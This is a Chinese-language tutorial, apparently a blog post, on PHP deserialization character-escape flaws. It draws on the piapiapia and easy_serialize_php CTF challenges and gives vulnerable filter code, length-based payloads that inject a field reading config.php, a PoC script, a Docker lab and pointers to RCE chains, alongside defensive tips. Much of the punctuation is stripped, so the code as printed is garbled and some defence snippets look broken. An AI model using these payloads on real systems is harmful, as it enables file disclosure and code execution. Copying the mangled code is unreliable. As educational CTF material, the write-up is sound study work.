PHP 反序列化字符逃逸:filter函数替换导致长度变化的3种攻击场景分析
PHP反序列化字符逃逸filter函数替换导致长度变化的攻击场景深度解析1. 反序列化字符逃逸漏洞原理PHP反序列化字符逃逸漏洞的本质在于序列化字符串经过过滤处理后其实际长度与标注长度不一致导致反序列化引擎错误解析数据结构。这种漏洞通常出现在以下场景序列化字符串格式PHP序列化使用特定语法标注数据类型和长度例如s:5:hello表示长度为5的字符串过滤函数介入在序列化后、反序列化前数据经过过滤函数处理如关键词替换、特殊字符转义长度不一致过滤操作导致字符串实际长度变化但序列化标注的长度未同步更新// 典型漏洞代码结构 $data unserialize(filter(serialize($_POST[data])));2. 三种典型攻击场景分析2.1 字符增多场景以piapiapia为例漏洞特征过滤替换使字符串变长通过精心构造payload挤出后续字段案例分析// class.php中的filter函数 public function filter($string) { $safe array(select, insert, update, delete, where); $safe / . implode(|, $safe) . /i; return preg_replace($safe, hacker, $string); // where(5)→hacker(6) }攻击步骤计算需要逃逸的字符数如;}s:5:photo;s:10:config.php;}共34字符构造34个where关键词原始长度170替换后204溢出部分会覆盖原序列化结构注入恶意字段Payload示例nickname[]wherewherewhere...where;}s:5:photo;s:10:config.php;}2.2 字符减少场景以安洵杯easy_serialize_php为例漏洞特征过滤使字符串变短通过吞掉后续字段实现注入关键代码function filter($img){ $filter_arr array(php,flag,php5,php4,fl1g); $filter /.implode(|,$filter_arr)./i; return preg_replace($filter,,$img); // 直接删除敏感词 }利用方法计算需要吞掉的字符数如;s:8:function;s:14:highlight_file共22字符构造包含22个过滤字符的payload如phpphpphpphpphpphpflag后续注入内容会成为新的序列化字段2.3 混合替换场景复合型漏洞同时存在字符增多和减少的过滤规则攻击策略分析所有过滤规则对字符串长度的影响计算净长度变化增多-减少组合使用两种技术构造最终payload3. 漏洞利用技术对比场景类型长度变化典型CTF题目关键技巧字符增多增加[0CTF 2016]piapiapia计算溢出字符数数组绕过长度限制字符减少减少[安洵杯2019]easy_serialize_php精确控制吞掉的字段注意闭合语法混合替换不定企业真实环境漏洞需综合计算净变化量多次测试验证4. 防御方案与最佳实践安全编码建议输入验证// 严格校验序列化数据格式 if (!preg_match(/^[a-z0-9]$/i, $input)) { die(Invalid input); }处理顺序调整// 先过滤后序列化 $cleanData filter($_POST[data]); $serialized serialize($cleanData);使用安全函数// 替代直接unserialize function safe_unserialize($str) { $data unserialize($str); if ($data false $str ! b:0;) { throw new Exception(Invalid serialized data); } return $data; }关键配置; php.ini安全配置 allow_url_include Off disable_functions exec,system,passthru5. 实战环境搭建与测试本地测试环境配置Docker快速部署docker run -d -p 8080:80 --name piapiapia vulhub/php:5.6-apache docker cp piapiapia:/var/www/html/ www/漏洞验证脚本?php require class.php; $user new User(); // 构造恶意payload $payload str_repeat(where, 34).;}s:5:photo;s:10:config.php;}; $_SESSION[username] test; $_POST [ phone 12345678901, email testexample.com, nickname [$payload], // 使用数组绕过长度检查 photo [name test.png, tmp_name /tmp/test] ]; // 模拟update操作 $profile [ phone $_POST[phone], email $_POST[email], nickname $_POST[nickname], photo upload/ . md5($_FILES[photo][name]) ]; $user-update_profile($_SESSION[username], serialize($profile)); // 验证漏洞 $profile $user-show_profile($_SESSION[username]); var_dump(unserialize($profile)); ?6. 高级利用技巧多级逃逸当存在多个过滤层时需要逐层计算长度变化编码绕过使用十六进制、Unicode等编码方式绕过关键词检测对象注入结合__wakeup、__destruct等魔术方法实现RCEPHAR利用通过phar://协议触发反序列化// 复杂payload构造示例 $pad str_repeat(where, 34); $exploit ;}s:5:photo;s:10:config.php;}; $finalPayload $pad.$exploit; // 使用SplFixedArray绕过类型检查 $arr new SplFixedArray(2); $arr[0] $finalPayload;在实际渗透测试中我曾遇到一个企业级应用的反序列化漏洞通过组合字符增多和减少的技术最终实现了从信息泄露到远程代码执行的完整攻击链。这提醒我们任何看似微小的数据验证缺陷都可能成为系统安全的致命弱点。